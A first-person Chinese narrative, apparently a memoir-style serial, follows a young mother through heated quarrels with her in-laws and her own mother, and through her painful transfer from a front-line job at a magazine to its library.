她翻着她的小白眼炫耀她的博学的养生知识说:“西红柿不能放在冰箱里。西红柿放在冰箱里也有毒。” 老头子又说:“这个茄子炒地蛮好吃的。” 我说:“我怕宝宝吃不动,就把皮打了一下。我特意给奶奶烧的红烧肉,炖了好久。奶奶爱吃青菜,我给她炒了一盘子青菜。回头你们吃完饭,给奶奶带过去。” 老太太说:“吃青菜好,青菜是清火的。” 老头子说:“奶奶随便吃一点就行。” 老头子问端午说:“现在的工作怎么样?” 端午说:“还行吧。以前那个老板给我打电话让我回去,我没去。” 老头子说:“哪个老板?” 端午说:“就是上次那个老板。他说他们缺技术人员。” 老头子笑着说:“他是看你又找到工作了,他又来找你的。” 我说:“你那个老板真无耻!他上次说裁员就把你给裁了。这给我们的家庭带来多大的压力?现在你找到新的工作了,他又跑过来叫你回去。简直就是个无耻小人!他是专门来捣蛋的。你要是回去了,他说不定回头又把你给裁了。” 端午说:“我现在的工作比以前的待遇好,还轻松。我干嘛回去。” 我说:“当然不能回去了。他说裁就裁,说让你回去就让你回去啊。他们厂缺技术人员,他还把你给辞了啊?他一个老板,说话跟放屁似的!” 端午说:“主要是他把我裁了以后,应该给我补偿的。他没有给。我才不回去。” 我说:“原来你知道要赔偿的啊?” 端午说:“都知道。” 吃完饭了,老太太老头子要回去了。 我拿着盛熟菜的塑料盒子说:“我给你们带点熟菜回去,剩了这么多菜,我们吃不完。” 老太太说:“不要带,不要带!没有多少菜哎!” 我说:“这一大桌子,有十来个菜呢。我们哪吃得完。” 我心里想,真不会说话,我做了十来个菜给你吃,你还说不多。 我拿着熟食盒子装菜,我说:“这个牛肉跟猪耳朵,我是专门跑到你们小区门口儿买的。我们吃不完,给你们分分。” 老头子走过来,碰碰我的手腕说:“不要忙了!不要忙了!” 我说:“给你们带点熟菜,你们自己晚上烧个汤就行了。你看,奶奶还吃什么,你再给她夹一点。” 老头子说:“这么多菜呢,不用了。” 我说:“那都是熟菜,你各种菜再给她夹一点呗。肉,青菜,什么的。奶奶能吃。” 老头子说:“奶奶随便有点菜就行了。” 老头子走了,老太太带着宝宝出去玩。 老太太带着宝宝出去玩了一趟,回来说:“宝宝的小鞋子找不到了。” 我说:“那是怎么回事儿啊?是不是端午给扔了呀?” 她说:“是宝宝自己藏的。她自己爱把鞋子藏起来。” 我说:“真的啊。她能藏到哪啊?没关系,那双小鞋在网上买的,也就二十几块钱,底太厚,我本来就想再给她买一双的。” 我跑到超市又给宝宝买了一双凉鞋,花了一百四。刚好那家超市有适合宝宝的凉鞋,还是我很喜欢的粉色公主鞋,质地也比原来那双好。 第二天,老太太又抱着宝宝出去玩了:“走!妈妈买菜,我们去坐摇摇车。爷爷就在附近车站上班,爷爷也来。” 我走在去菜场的路上,对面,远远地走过来一个男人,他穿着宝石绿的T恤,手里托着一袋子鸡蛋。是陆陆!他从我对面走过来,又从我身边走过去,看都没看我一眼。 我拿出手机来,跟我妈妈打电话。 我说:“妈,鸿雁没回去吧?” 我妈妈说:“我跟鸿雁这辈子没关系了。我要跟他说媳妇,让他回家来一趟。他不回,还发狠说,除非家里死人了,他才回来。家里谁死啊,他不是咒我的吗?” 我说:“鸿雁说的都是气话,他也是被你逼急了,才这样说的。你老是让他回来,他回来一趟容易吗?我跟你说实话,我现在因为小孩小不能回去。我就是回去,一趟高铁费,我都心疼。鸿雁那么远,他回去一趟油费都得七八百。现在年轻人压力多大,挣钱多不容易啊?你都不知道。就像俺们,都快要发不起工资了。再说了,他找个工作容易啊?厂里不让请假,他回去一趟,回来又得重新找工作。你是不知道年轻人的苦。” 她说:“他哪次回来我不是给他好几千快钱啊?光上班,不找媳妇了啊?上班哪有媳妇重要啊?” 我说:“结婚?结什么婚啊?我们两个人养一个,一个月一万块钱,都要养不起了。你知道小孩的奶粉多贵,尿不湿多贵吗?再说了,结婚有什么好?男的找个对象,不停地问你要钱,过日子本来就要钱。要是遇到乱花钱的,更加要钱。女的吧,老公气你,婆婆气你,小孩子不懂事,也能把你气死。结婚,简直是催命的。还不如自己单身一个,好好地过呢。至于老了,那有老伴儿的还不是也得一个先死,一个后死嘛。多少空巢老人,有儿有女的,自己死了,儿女也不知道。” 我妈妈说:“我这个后台好哎。我种大蒜挣的钱都给他。他生了小孩我给他养哎。” 我说:“你都到几儿了?你都快七十了吧。你好好安度你的晚年吧。你给他养啊。你有多少钱?你连二十万都没有,你还敢说你给他养。现在就是有二十万也不够养孩子的。他的孩子以后要上学,要彩礼,你给的起啊?现在养孩子的理念不一样了。养了就要负责的。养了孩子又怎么样?自己没本事,没文化,没工夫,还是培养不起来,以后还是到厂里打工,找不到媳妇。还是吃苦。养了孩子,不是把他带到世上吃苦吗?” 我妈妈说:“我被鸿雁气死了。我对你说吧!我现在就是为恁姊妹两个活着的!等我死了,我就让笑笑两口子来把我埋了。我连你我都不让来!” 我说:“你也不要给我压力,说话给我听。你都不知道我现在压力有多大。你死啊?你死了我就三天的假。不要说是你死,就是我死了,你也管不到,你也得好好过。现在谁顾得上谁?我们生活压力那么大,你一个老人,不知道我们的苦,还说话给我们听。我能怎么办呢?我听了你的话,我不去上班了?不去买菜烧饭了?你只能给我增加烦恼,给我带来坏心情。跟你说实话,人家笑笑也不愿意听你那些话。人家家里还有三个孩子,人家一家子还要生活呢。你一说鸿雁的事儿,人家就头疼,就跟你打岔儿,不想让你说。就连我,一跟她说鸿雁的事儿,她也不高兴,不想听。你把鸿雁惹毛了,不理你了。你还跑来折腾我们姊妹两个。你别到最后,把我们姊妹两个也惹烦了。” 我妈妈听了我的话,语气温和了一点。她说:“那鸿雁就不知道感恩吗?” 我说:“他就算知道感恩,你也不能绑架他啊。你说让他辞职回来相亲,他就立马辞职啊?他也是被骗地灰心失望了。每次挣点钱就被相亲的媒人、女人给骗光了。现在挣点钱容易吗?” 我买菜回来以后,就去端午小区东门口儿对面的超市去找孩子。宝宝坐在摇摇车上,老头子跟老太太看着。一副其乐融融的样子。 我拿出手机来给宝宝拍视频,边拍边说:“坐摇摇车很费钱吧。一块钱,三分钟就没了。我马上去收银台换点硬币给你们。” 老头子走过来,碰了碰我的手腕说:“你不用管。” 我跟老太太说:“我们回家吧,我帮着抱宝宝。你一个人抱着回去太吃力了。” 老太太说:“行。” 我抱起宝宝准备回去。 老头子手里提着个购物袋,里面装着东西。他听说我们要回去,就从他的购物袋里掏出来一包东西,要递给老太太,看样子是让她带回来。 老太太看老头子要把那包东西掏出来,赶紧用手把那包东西往下按了按,不让他拿出来。 老头子接收到了老太太的信号,很配合地又把那包东西塞了回去。 我的脸色一下子沉了下来,是不是老头子有什么好吃的要给我,老太太不让给呢。那包里是什么?是不是一块牛肉呢?是牛肉我也不稀罕。只是老太太还护着不让给的?这里头肯定有蹊跷。 我黑着脸抱着宝宝往家走,老太太拎着菜,跟在后头。我们穿过超市门口的马路,进了小区。 老太太跟在后头说:“我买了双鞋!” 我应了一声儿:“嗯。”我知道老太太在打马虎眼儿。否则,你买了双鞋子跟我说干什么。我自己也是省吃俭用,到了夏天,没舍得买一双鞋,一件衣裳。 一路无话。 到了家,我问老太太:“刚才,爸爸要拿一样东西给我,你怎么往里按,不让他拿出来的?” 老太太说:“那是宝宝的鞋。” 我说:“宝宝的什么鞋?” 她说:“宝宝的鞋,昨天掉在外头了,人家捡到了给我的。” 我说:“宝宝的鞋找到了,你怎么不跟我说的?爸爸要拿出来给我,你怎么不让给,还往里按的?” 她说:“我打算带到我们那里刷刷的。” 我说:“你撒谎!超市就在我们家门口儿,你说你要带回你们那里刷啊?我们这里没有水吗?没有阳光吗?宝宝的小鞋找到了,你不跟我说吗?爸爸要给我带回来,你为什么不让他往外拿,你还往里按?你又要耍什么鬼花招儿?你又想搞什么鬼花样?你心肠为什么不能光明正大的啊?你为什么非要曲里拐弯的啊?婆媳矛盾,婆媳矛盾,都是怎么来的?都是你爱耍鬼点子坑蒙拐骗引起来的!” “我现在知道了,我不仅不是泼妇,我还是模范媳妇呢!我整天就知道在家带孩子做家务,一分钱舍不得给自己花,全花在孩子老公身上。都是你!心眼子不直顺!天天装神弄鬼!坑蒙拐骗的!” 她说:“我现在就去拿过来!” 我说:“你刚才就应该拿过来!你一路上跟我打马虎眼,你说是你自己买了双鞋。你把宝宝的鞋装在袋子里不告诉我,爸爸要拿出来,你还要往里按!包里装着我孩子的鞋你为什么不跟我说?你鬼鬼祟祟,藏藏掖掖,跟人贩子似的。” 我打电话跟老头子说:“爸爸,刚才你要把宝宝的鞋子拿出来给我带回家,妈妈往里按,不让你拿出来?我后来问了,她才告诉我是宝宝的鞋子。妈妈的心眼子曲里拐弯的,我跟她怎么相处?婆媳矛盾都是怎么来的?你们还都怪我?” 老头子说:“我现在就给送过去。你看看,就是一点小事!” 我说:“爸爸,事情的先后顺序要捋一下。因果关系要搞清楚。是小事。可是小事,妈妈是怎么处理的?一件小事,她都能耍出十八个花招儿来!这样的老人,儿媳妇怎么能跟她处好?” 老太太也去拿鞋子了。她很快就拿了来。那双小鞋子很干净,根本就不用刷。老太太就把它放在进门儿的隔断上,也不提刷鞋子的事儿了。 我说:“你不是说要拿去刷刷的吗?你现在怎么不去刷了?” 老太太一听我的话,赶紧拿着鞋子去刷了。 我说:“妈妈,为了你儿子家庭和睦,你以后少耍心眼子。你做事爱耍心眼子,我气不过,就跟你吵架,我跟你吵架,端午也不喜欢我。我们两个最后因为你闹离婚,你就功德无量了。你如果不想让你儿子妻离子散,你以后做事不要老是坑蒙拐骗。” 老太太自知理亏,不吭声。 我说:“还有,麻烦你回去告诉老头子,让他以后跟我接触的时候,不要老是碰我的手。我刚结婚那会儿,他拍我大腿,抓我肩膀,逢年过节去你家吃个饭,端茶倒水的空儿,十次有八次,他得碰我的手!跟他说了以后,他当时好一点,过后又开始碰我的手!” “他娘把他生在尿罐子里头了?还是把他生在全村最大的茅缸里头了?他怎么那么骚的?到现在我孩子两岁了,他还动不动就碰我的手!他没有嘴吗?他不能说话吗?他老是碰儿媳妇的手干什么?他一个六十多的糟老头子,他觉得他自己很可爱是吗?他一把老骨头了,骨头都枯了!他想跟我亲密接触?可以啊!他去投胎做我孙子,我不仅碰他的手,我还把他亲亲抱抱举高高呢!我也不是说我漂亮,我不漂亮,是他不入人伦!跟他说了多少回了?不要脸是吧?你跟他说,再有下次,我追着他骂,我让全大街的人都知道他调戏儿媳妇!” 老太太看我骂老头子,不高兴。 我说:“我骂他,你还不高兴是吗?他一开始老是碰我的手,我那时候就跟你说过,你不中用!你不管!你没口没心,你也管不了!要是我,端午敢碰儿媳妇的手,我骂死他!我跟他离婚!你呢!你没有是非!你得了一个男人,把他捧地跟皇帝似的!” 老太太说:“我跟他说了,他说,他没摸你。” 我说:“偷换概念!我说他摸我了吗?他胆敢摸我,我早指着他的鼻子骂了!我永远跟他断绝关系!他是承认了是吗?他是承认碰我的手了是吗?一家子不通人性!还怪我跟你们吵!” 2.我被调到图书室 又是一个周末,我跟老太太用购物车推着孩子在超市转悠。我的手机响了,是实践部衣部长。 我说:“衣部长你好!” 她说:“是宋编辑吗?” 我说:“是。” 她说:“你明天下午有空吗?能来一趟社里吗?” 我说:“部长,我回老家了。能等到周一上班吗?” 她说:“我就在电话里说吧。” 我说:“什么事儿?” 她说:“工作的事儿。” 我的心咯噔了一下,我知道,应该没什么好事儿。 她说:“今年,实践部新调来的同事比较多,你被调到图书室了。你看你小孩小,太辛苦,心态也有些焦虑,正好,这是个机会,你在图书室好好调整一下心态。” 我说:“那就等于把我调离一线,调离工作岗位了是吗?” 她说:“也不能这样说,在哪里都是工作,哪个岗位都需要人。你也不要考虑什么面子不面子的。” 我说:“我这个年纪,什么也看得开了。调离一线,被弄到图书室闲置起来,养家糊口的工资就少了。” 她说:“可是你轻松了呀。你看,你再也不用跟那些猫猫打交道了,少费多少心思啊。” 我知道这是她们决定好了的。 我就说:“那好吧。这是杜社长的意思吧?” 她说:“是的。我只是传达。” 我说:“我知道了。” 她说:“那就这样说了哈。” 我说:“好的。” 放下电话,我就跟春霞打电话。 我说:“春霞姐,他们把我发配到图书室了。他们去年把我调到实践部,给我一个最差的喂养室,让我养猫。今年,干脆把我调到图书室。让我除了基本工资,没有任何之外的收入。他们全给我撸干净了。” 她说:“唉!他们就会欺负咱们外地的。小宋啊,这以后你生活上更要节省了。不该买的别买了。现在现金为王。他们故意减少你的收入,你自己可要心里有数,花销上要控制了。” 我说:“我心里有数,春霞姐。我这个夏天连一件裙子都没有买过。我都是给宝宝买。我也没有心思打扮。我又没升官发财,他们这样打击我,压制我,我还打扮地那么精致干什么?就算我打扮地精致,有用吗?除了减少我那点收入,一点用都没有。再说了,我打扮地精精致致的,让他们看着舒服啊?他们不配。” 春霞笑着说:“你让我想起一句话,就上这破班儿,还配我精心打扮啊?” 我说:“我也不买化妆品,我自从怀孕就从来不化妆了。我觉得那些东西涂到脸上厚厚的,不清爽,很难受。” 她说:“对的。你在图书室也别难过,要想开一点,不用担什么责任了,其实也挺好的。” 我说:“我有自己的打算。我爹娘培养我读的书又没读到狗肚子里去。我可以自己写东西。工作十年,我没被平等地对待过,我的才华没有被真正地认可过。我对他们也失望了。不想为他们拼命了。我自己看书,写东西。我会用我的才华来证明自己。” 她说:“对的对的。” 老太太推着宝宝过来了,她说:“我们回家吧?” 我说:“好的。” 路上,我的心里很不是滋味。可是我什么都没说,跟老太太能说什么呢。 我说:“妈,我来抱抱她吧。你一直抱着太累了。” 她说:“不用,我来抱。” 我说:“奶奶真疼宝宝。” 晚上,端午回来吃饭了。 我说:“我被调到图书室了。他们今天通知我的。” 端午说:“知道了。哼!现在到处都在裁员,他们要是裁员的话,先把你给裁了。” 我说:“你以为这些跟你没有关系吗?你干的事,都由我来兜着。” 端午不说话,拿起筷子去吃饭。 我说:“你还笑?你笑什么?” 他说:“我没笑啊。” 我说:“都是你没脑子干的鬼事,你去实名举报人家,人家能放过我吗?” 端午自己吃饭,我挑着几块鸡翅哄着宝宝喂她吃。那顿饭,我们吃地都没心情。 这两天,我时不时地出神,行动有时比平时慢。我知道我有些抑郁了。 中午,老太太看着孩子,我在厨房煮面,煮着煮着就哭了。我把面煮好盛出来,跟老太太说:“你带宝宝吃饭。我有事。” 我就低头给杜社长发信息:“杜社长,前两天,衣部长通知我,要把我调到图书室。当时,其实我心里很难过,可是我自知我是被流动的人,而且我老公也做过对不起您的事,这一年我都很自责,所以,我也就爽快地答应了衣部长的通知,没有提任何想法。” “可是这两天我很抑郁,在去年被连续降级流动的基础上更加抑郁,就在刚才,我一个人煮着面,想着想着就哭了出来。我有些想不明白,我才四十岁,为什么就把我调到图书室里闲置起来。我产后一年,孩子一岁,被从《小坛》调离,调到《喵一生》实践部养猫,我难过了几天。但是后来我情绪高昂地投入到工作中去。我买了小蜜蜂,买了指挥棒,买了很多宠物零食,到现在,我的办公室抽屉里还有一大包猫粮。 我喂了半年,才知道我所喂养的猫猫是第四组整体水平最差的。我还是乐观积极地养猫。每次考核,我的成绩相对于基础成绩,从来没有差过,不仅如此,还提高了不少。 我知道我老公思维简单,我到现在也不知道他是在哪里对您提出了意见。对于这些,我痛苦了一年,也跟您道歉痛悔了一年。我在内心里一度把您当成知心大哥哥,家里的烦心事都想跟您说。我老公做了对不起您更是坑害我的事情,我自认倒霉,哭都没地方哭,而且,这么丢脸的事,我从来没有跟别人说过。一是丢脸,二是怕别人知道了更加看不起更加欺负我。世态炎凉,我非常清楚。我自知我老公做了错事,今年的岗位晋级,我连文件都没有看。我也知道我产后抚养孩子根本没有时间去写论文。对我来说,您能让我在《喵一生》正常地工作,我已经感恩戴德。” “可是,我没有想到,我那么快就被调到了图书室闲置了起来。我知道我形象不好,气质不好。可是论业绩,我不觉得我有多差。就拿在《小坛》来说,我也不怕调查。我从《小坛》被调动,内心多多少少会有些委屈,一开始我也去跟您哭过。可是这一年来。凭良心说,凭您的感觉,您也知道,我没有恨过您。我甚至觉得您很好。我甚至能够理解,您为了编辑部整体的质量而做出的谋划和布局。” “一年后,我被调到图书室。我的心里真的很难过。本来升腾起的积极性再一次被打击了。一时心里难过,所以把内心的想法跟您说一下。” 我又把刚才发给杜社长的信息发给了春霞姐。 春霞姐说:“小宋,你跟杜社长说了啊?这样也好。表达一下自己的想法。” 杜社长回复说:“衣部长不是征询过你的建议了吗?你与衣部长正常表示你的想法即可。” 我说:“谢谢杜社长。我当时以为就是编辑部这样安排的,我也不想给领导添麻烦,就爽快地答应了。可是这两天我很抑郁,做事走神,今天煮着面,就哭了。” 我跟衣部长打电话。我说:“衣部长,您那天说的把我调到图书室的事,我有些难以接受。” 衣部长说:“宋编辑,我第一次跟你说的时候,你不是答应地好好的吗?为什么后来又反悔了?” 我一下子就大哭了出来,我说:“我装了一年的孙子!你们还是不能放过我!我当时接受也是迫于无奈。我知道你们决定的事情不会更改!我在你们的手心儿里,我有什么办法!对不起!衣部长,我有些激动!我说的‘你们’并不是确指你。我知道不是你决定的,你也知道。去年,给我一个综合素质最差的喂养室。我热火朝天地干着。论业绩,我的业绩相对于我的基础业绩并不差,反而是进步了。如果非要说,我的业绩每次排在最后一名,那是因为分给我的那些猫猫的水平本来就是最后一名。每次考核,我的业绩相对于基础业绩来说,是进步的。这一点,小田也知道。” 衣部长说:“我知道。这一年,你很努力。可是,这是实践部决定的,今年实践部来了很多养猫的,实在安排不下了。你不是孩子还小吗,正好这是一个机会,让你调节一下心态。本来,你一个编辑,让你去养猫,你也不适应。要是等到明年,可能就没有机会了。而且,你也不是一直待在图书室。如果有哪个喂养员开刀了、怀孕了,还是需要你来顶替一下的。而且,以后,实践部有什么讲座什么的,你也可以来听听的。” 我说:“衣部长,您说的我都能理解。可是,为什么被调离工作岗位的人偏偏是我?我到底哪里不好,我做错了什么?” 她说:“小宋,哪个岗位都需要人。我们工作,说到底,都是为了养家糊口,谁也不是你的爹娘,还要照顾你的感受。” 我心里想,哪个岗位都需要人,为什么单单把我调到图书室闲置起来。 我就跟杜社长发信息。 我说:“我刚才问了衣部长,她说她只是传达。我跟您素不相识,无冤无仇。我去年就说过,事情的起点不在您那里,您是白白惹气惹麻烦,我还记得当时您还主动要把我推到《且戒》。您当时的表情我还记得。您的善良我都记得。可是后来,我老公做了让我说不清也推卸不了责任的事情。我知道我愧对于您。可是今年安排我去图书室我有些不能彻底接受。我不知道,是不是杜大哥看我实在头疼,您即使看着我头疼,我也能理解。我顶着这么大的压力,我也很难过。实在不行,我回头去问问人事科郑科长,看看人事科能把我调走吧。哪怕是去别的杂志社的图书室,我也认了。至少,我不用背那种我老公给人家添麻烦的压力了。我始终活在这种阴影里,无可奈何,我也很痛苦。跟您说实话,这种压力太大,我其实承受地很痛苦了。” 杜社长没有回复我。衣部长的电话打过来了:“宋编辑,你有什么想不开的。跟我说。” 我说:“衣部长,我其实没跟你说实话。你以前对我也多有照顾,我把你当姐姐一样看待。我跟你说实话。我待在《喵一生》也很痛苦。去年,我被搞到《喵一生》的时候,官网上公布的是我在编辑部,但是,杜社长把我放到了实践部。我老公为我愤愤不平,他一气之下,去把人家杜社长跟郑嫦科长给举报了。你说,我还怎么活?我得扛着多大的压力。” 衣部长说:“你老公把杜社长给举报了?啊?嗯。这件事你也不要放在心上。杜社长作为一社之长,他经历的事情多着呢。他不会在乎的。他如果计较这种事,他还怎么当这个社长。” 我说:“人心都是肉长的。说实话,谁要是去举报我,我看到谁也头疼。” 衣部长说:“宋编辑。你看,你这些都不要再提了。我们把这件事给它炸掉。就当它没有发生过。” 我说:“衣部长,你说的这个不成立。已经发生的事情,怎么可能当做没有发生呢?” 衣部长说:“宋编辑,其实,图书室不是挺好的吗?我想去还去不成呢。我想去,杜社长还不让我去呢。” 我说:“衣部长,咱俩情况能一样吗?你是有能力,我是被杜社长看不上。我知道你是好心安慰我。我什么都知道。我谢谢你。” 衣部长说:“今年实践部来的人太多了。岗位调整变化很大。张菲也被调去当专职的猫医生了。” 春霞姐打来电话说:“小宋啊,我不放心你。你那边情况怎么样了?” 我说:“杜社长让我跟衣部长说,衣部长当然是劝说我呗。” 春霞姐说:“这种事情,杜社长肯定也见过不少次。那些老员工跟他闹的肯定也很多。你跟杜社长发信息,杜社长肯定是让衣部长来安抚你了。他一个社长还能亲自下来跟你撕啊。衣部长不把你安抚好,杜社长也会说她的,自己的部下自己都安抚不好。” 我又把刚才发给杜社长的信息发给了春霞姐。 春霞说:“我怎么觉得你说话口气很冲呢。你赶紧再跟他说说软话缓冲一下吧。你毕竟还要在人家手里工作呢。你说你要去人事科?我怕你最后去了也没结果,反而把杜社长惹毛了。然后最坏的结果是,他什么也不让你做,到时候你就难办了。” 我听了春霞姐的话,又给杜社长发了信息:“杜社长,刚才一时心里难过,哭着跟您发的信息。不知道为什么,明明知道您是领导,可是有时候总会忘记了您的身份,把您当成老大哥,言辞有些感性了。动不动给您发那么多的信息。要是别人,是不允许我这样发的,我跟别人也没有那么多话。我还是有些把您当成知心大哥哥,说话太任性了。对不起。不知道打扰您休息了没有。我这两天失神抑郁,哭出来,心里反而亮堂了好多。对不起,我也不想这样,难过,没心情,自己关在房间里躺着哭。幸好外头老太太帮我带着孩子。您是看全局,我只是看自己。抛去其他的不谈,我其实是非常能沉下心来耐地住寂寞的。我一个人在图书室里,有书,让我看看。我永远不嫌烦。就是觉得面子上过不去,一时接受不了。我没什么心机,又有些情绪化。我老实跟您说,我也想踏踏实实安安静静的,我也不想老是这样打扰您,跟您哭诉添麻烦的。” 春霞问我说:“你还决定去人事科吧?如果是我,我的个性是忍耐性的,忍辱负重。如果是我,可能不会去。但是如果你决定去的话,也要把后果考虑到。因为去了,也改变不了结果。但是去的话,也是给自己一个交代。” 我说:“谢谢好姐姐的提醒。那我就不去了。他们什么事情干不出来。谢谢好姐姐的陪伴。” 她说:“这次,你可要管好你老公。别让他再干傻事了,咱们是外地人,斗不过人家的。” 我说:“知道了。我老公这次应该不敢了。” 她说:“我也经历过最难熬的日子,咱们就这样拖着自己和孩子,一步一步往前熬。我们都是外地人啊,娘家帮不上,婆家也尽力了。其他只能靠自己扛。孩子小的时候就是最难熬的日子。” 我说:“我不想为他们出力了,我有空就忙自己的事情。” 春霞说:“对的。让自己忙起来,是最好的办法。东边不亮西边亮。无论何时不要贬低自己,不要自己看不起自己。” 我说:“我没有看不起自己,是他们看不起我,我知道。我把这个当成动力,我也不在乎他们。我就忙我自己的事。我忙出来,有了质的改变,老娘改头换面,照样可以精致。我骨子里从来都不服输,跟谁都不服输。” 她说:“对的。每天要开开心心的,保持精气神。” 第二天,我要去上班了。我起来把宝宝抱给奶奶。我再去给她们烧中午的菜。我收拾好准备走的时候,我听到宝宝在小房间里叫我。 “妈妈!” “哎!宝贝!”我走过去看看她。 “你要去干嘛?”她坐起来问。 “妈妈要去上班!”我说。 “妈妈不要上班!” “妈妈不去上班怎么给你赚钱买奶粉呢!”我说。 “妈妈不要上班!”宝宝哭着向我伸开小手。我的眼泪哗哗地落了下来,我走近她的床边,给她把伸出被窝的脚丫穿上她的小袜,向她伸开我的双臂。 “妈妈不要上班!”宝宝哭着站起来,她抬起小脚丫向我走来。我的眼泪滚滚地往下掉着,我说不出话。伸手抱住她。 上班的时候,衣部长把我叫过去说:“宋编辑,你跟张菲如果彻底脱离一线,津贴确实太少了。实践部这边猫猫的卫生,还需要你们配合打扫一下。比如给猫铲屎啊,扫一下猫猫的毛毛啊。这些本来是各个喂养室的喂养员来负责的。我来重新分配一下时间,大家分着干干。这样,你们也没有彻底脱离一线。” 我说:“好的。谢谢你。衣部长。” 她说:“你也不要在乎什么面子不面子的。” 我说:“我早就没有面子了。我还讲什么面子不面子的。只要能多赚两个钱来养家糊口,让我去打扫厕所都行的。” 去食堂吃饭的时候,我打好了饭,端着餐盘。正对面,坐着一个认识的同事。她跟我示意,我就在她对面坐了下来。 “你今年在哪个部门啊?”她问我。 “我被弄到图书室了。你刚才开会的时候没听到?”我说。 “天呐!真的假的?我刚才没去开会。”她说,“怎么回事?得罪人了啊?” 我说:“嗯,大概是吧。” 她吃了一口饭,想了想,慢慢地说:“这个单位,太狠了。” 她吃完了饭,说:“走吧。” 我说:“图书室的钥匙我还没有。我去后勤主任那里要钥匙。” 她说:“那我先回去了。” 我说:“好的。” 我一个人来到了楼上,前面走着的是莉莉。 “宋编辑!”她说,“你被调到图书室了?那个地方我还想去呢。” 我说:“你别说了,到那里就是被边缘了,谁愿意去啊。” 她说:“今年来了很多关系户。我晚上再跟你聊。” 我一想,我晚上回到家哪有时间跟你聊。何况,你一个小姑娘,我也不想跟你诉苦,也不想被你八卦,我还是把你给打发了吧。 我跟她说:“莉莉,我晚上回到家很忙,就不跟你聊了。其实图书室也不错,适合我的性格。” 她说:“好的。羡慕你!羡慕地流泪了!”我心里想,狗屁!我被闲置了起来,正好杀鸡敬猴给你们看,正好激励你们。你们可好好地加油吧! 行政楼那里,午饭时间,很多办公室的门都锁着。后勤主任的办公室里也还没有人。我一个新被发落的人,站在人家办公室门口,感觉很丢人。我就往过道前头走,直走到走廊尽头,楼梯的拐角处。 毛学望主任走过来了,他看到我说:“怎么了?” 我一下子兜不住情绪了,哭着说:“我被调到图书室了。我来拿钥匙。” 他说:“你是业绩不行吗?” 我说:“我老公把人家举报了。人家能给我好日子过吗?” 他边下楼梯边说:“不是这样的,我听说了,你管猫猫管地很散。” 我也下了楼梯说:“我从编辑部被调到实践部养猫,我能调整成这样已经很不错了。给我的那些猫猫是最皮的,我怎么能赶得上人家那些本来就很优秀的呢?我只能保证在原来的基础上不再退步。我比原来还进步了呢。那些猫猫本来就皮,特别难管,能全怪我吗?” 他说:“你先上去吧。我要去接儿子。” 这时候,胡主任过来了。 “怎么了?”他问。 “你跟她说说。”毛学望说。 “什么事?怎么回事?”胡主任说,“来来来!坐下来谈。” 我进了他的办公室,站在他的办公桌前,哭着说:“我是《小坛》编辑部的,去年,我小孩一岁的时候,被流动到《喵一生》。本来,官网上公布的,我应该是被流动到编辑部的,可是杜社长把我搞到了实践部养猫。” 胡主任说:“天呐!我是编辑部的,让我去养猫,我也不适应。来!坐下来说!别客气!” 我说:“去年,让我养猫,给我一群最皮的猫,特别难管。就这样,我的业绩还是进步的。可是今年,杜社长直接把我调离了一线工作岗位,让我去图书室,把我闲置起来。” 他说:“这个太过分了,我一点都不知道。你怎么没去跟他说啊?” 我说:“我跟他说了,没有用。” 他说:“你应该说的,你说了,他们以后安排工作的时候,还会为你考虑。你不说,他们还以为你很愿意呢。我马上去跟杜社长说说去。” 我说:“你不要去。我今天不是把你当成领导,我就把你当成一个好心人,跟你说说。去年,因为杜社长把我调到实践部养猫,我老公把人家实名举报了。你说,人家会怎么对我?人家还会给我什么好果子吃?” 他笑笑说:“他去举报,说明他还是站在你这边的。” 我说:“他在家里,家务孩子都不帮我分担,他还这样害我,你说,让我怎么过?” 胡主任说:“我是编辑部的。这些事我都不知道。你一个编辑,耍笔杆子的,被调到实践部养猫,太荒唐了。要不你先干着,我去跟他们说说。” 我说:“谢谢您。你不要去跟杜社长说,他只会更生我的气。” 他说:“你一个正式的编辑,不要那么小心翼翼。” 我说:“我到这步田地,还说什么正式不正式,编辑不编辑。 ” 他说:“不行,明年,编辑部这边,我也可以为你争取一下。” 我说:“我不去!我不去害你!把我调到图书室是杜社长的决定,你要是为我说话,不是破坏你跟杜社长之间的和气吗?跟您说实话,编辑部那边,我也不想去了。我被伤成这个样子,我也不想为他们出力了。以前,在《小坛》的时候也这样。稿一、稿二的时候,大家都是同样规格的文章,我从来都不差,还经常被表扬。一到稿三的时候,就给我最差的资源,我出力不讨好,最后领导就说是我业绩差。我还能说什么?我还有什么好说的。” 他低头沉思说:“人的一生,确实是会经历很多不公平。” 我说:“人员流动,成了我们这些无权无势外地职工的炼狱了。活活把人的心伤透了。好好的一个人,就这样被活生生地给打击死了。我说实话,我不想为他们出力了。我就在图书室,看看书,写写文章。” 他说:“我说实话,我一直是编辑部的,让我去实践部养猫,我也肯定不适应。你这一年能撑下来,已经很不错了。” 我说:“可是领导最后就说我业绩不行,根本不管你的本行是什么。也不问给你的那群猫是怎样的。总之,就是说你差。” 他说:“你这样吧。你也别难过。回头我去跟他们说说。看看他们还有没有调整的办法。” 我说:“您不用麻烦了。真不用。您能站在我的立场替我说几句话,我已经很感激了。我以前也见过你,我看你长得蛮洋气的,像是不太接地气的样子。我没有想到,您说话这么贴心,这么为我们底层员工考虑。您忙。我走了。” 他说:“那好吧。别难过。我回头跟他们说说。” 我走出了他的办公室,他从里面走出来说:“你慢走啊,想开点,别难过。” 我来到我原来的办公室拿东西。办公室里,那些小姑娘在叽叽喳喳地说话。新的一年,大家都要搬办公室了。 “你的办公室在哪啊?”小草说。 “在四楼大办。”另一个女孩子说,“你呢?” “我在四楼小办。”小草说。我什么也不说。我默默地去我的柜子里拿我的东西。电动车头盔,记录养猫过程的几个本子和笔,还有养猫的指挥棒。我左面桌子的小田看到了我。她面色凝重地安慰我说:“你那个地方,是很多人梦寐以求的。” 我一句话也没说。拎着我的东西像是逃荒似的离开了我原来的办公室。 我走在走廊里,看到一个大垃圾桶。我顺手把我手里的棕黄色的戒尺似的指挥棒扔进了垃圾桶里。同时扔掉的还有我的尊严和热血。昨日,我还站在台上,激情四射,斗志昂扬。今天,我就沦为了一个废物,被赶到一个只有鸟雀去拉屎的地方。人家不让我干了,我还留着它干什么,我不能自作多情吧。 就这样,我被一步步排挤成一个废物了,就这样,我被动地被迫地被闲置起来了,就这样,我一步步被逼的收敛起我所有的热情。 心凉了,寒心了。人心不是一天变凉的。是一次次地被寒风吹彻了骨头,自己又把自己给暖热以后。转眼间,又一次被冰雪封上了喉。人非草木,孰能无感?一张四四方方干干净净的人脸,被涂抹上了黑灰和污秽。一腔奔涌的热血就这样被冰封了,一颗血红的心脏就这样被剁碎了,埋葬了。 